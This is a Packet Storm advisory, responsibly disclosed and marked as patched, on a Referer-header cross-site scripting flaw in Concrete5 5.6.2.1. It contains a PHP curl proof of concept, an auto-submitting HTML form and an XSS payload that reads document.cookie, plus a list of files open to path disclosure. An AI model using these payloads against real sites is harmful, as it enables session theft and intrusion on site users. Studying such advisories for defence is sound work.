Exploit the possiblities

Concrete 5.6.2.1 REFERER Cross Site Scripting

Concrete 5.6.2.1 REFERER Cross Site Scripting
Posted Jul 16, 2014
Authored by Osanda Malith

Concrete version 5.6.2.1 suffers from a REFERER header-based cross site scripting vulnerability.

tags | exploit, xss
MD5 | fd75a5bd594fc578e865d97e017b1acd

Concrete 5.6.2.1 REFERER Cross Site Scripting

Change Mirror Download
Title: Concrete 5.6.2.1 Referer Based XSS 
Vendor: http://www.concrete5.org/
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Website: http://osandamalith.wordpress.com

I. BACKGROUND
-------------------------
Concrete5 is a light weight power CMS in which you can create web sites on the go.


II. Referer Based XSS
-------------------------

The download page takes the input from the referer header for returning the value for the
"Back" button and hence it is not properly sanitized in getting input.

\concrete\single_pages\download_file.php

line 9,

$returnURL = ($_POST['returnURL']) ? $_POST['returnURL'] : $_SERVER['HTTP_REFERER'];

- Proof of concept
-------------------------

- This is the automated POC in PHP.

<?php

echo geturl('http://localhost/conc/concrete5.6.2.1/index.php/download_file', '"><script>prompt("XSS")</script>');

function geturl($url, $referer) {

$headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg,text/html,application/xhtml+xml';
$headers[] = 'Connection: Keep-Alive';
$headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$useragent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $useragent);
curl_setopt($process, CURLOPT_REFERER, $referer);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);

$return = curl_exec($process);
curl_close($process);

return $return;
}

?>

- We can also inject into referer header like this. But works only with IExplorer since other web browsers encode the URL.

<html>
<body>
<form id="exploit" name="exploit" method="GET"
action="http://localhost/conc/concrete5.6.2.1/index.php/download_file">
</form>
<script>
document.getElementById("exploit").submit();
</script>
</body>
</html>

- Save it as "xss.htm" and pass the payload like this so that this would be taken as the referer.
http://localhost/xss.htm?"><svg/onload=alert(document.cookie);>//

III. Full Path Disclosures
----------------------------

concrete/single_pages/dashboard/system/basics/editor.php
concrete/single_pages/dashboard/system/view.php
concrete/single_pages/dashboard/system/environment/file_storage_locations.php
concrete/single_pages/dashboard/system/mail/importers.php
concrete/single_pages/dashboard/system/mail/method.php
concrete/single_pages/dashboard/system/permissions/file_types.php
concrete/single_pages/dashboard/system/permissions/files.php
concrete/single_pages/dashboard/system/permissions/tasks.php
concrete/single_pages/dashboard/system/permissions/users.php
concrete/single_pages/dashboard/system/seo/view.php
concrete/single_pages/dashboard/view.php
concrete/single_pages/dashboard/users/attributes.php
concrete/single_pages/dashboard/scrapbook/view.php
concrete/single_pages/dashboard/pages/attributes.php
concrete/single_pages/dashboard/files/attributes.php
concrete/single_pages/dashboard/files/search.php

IV. Disclosure Time Line
-------------------------
2014-03-16: Responsibly disclosed to the vendor (Vendor's website too was affected)
- Patched in 5.6.3 and the latest versions
- https://www.concrete5.org/documentation/background/version_history/5-6-3-release-notes/

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    17 Files
  • 24
    Jan 24th
    35 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close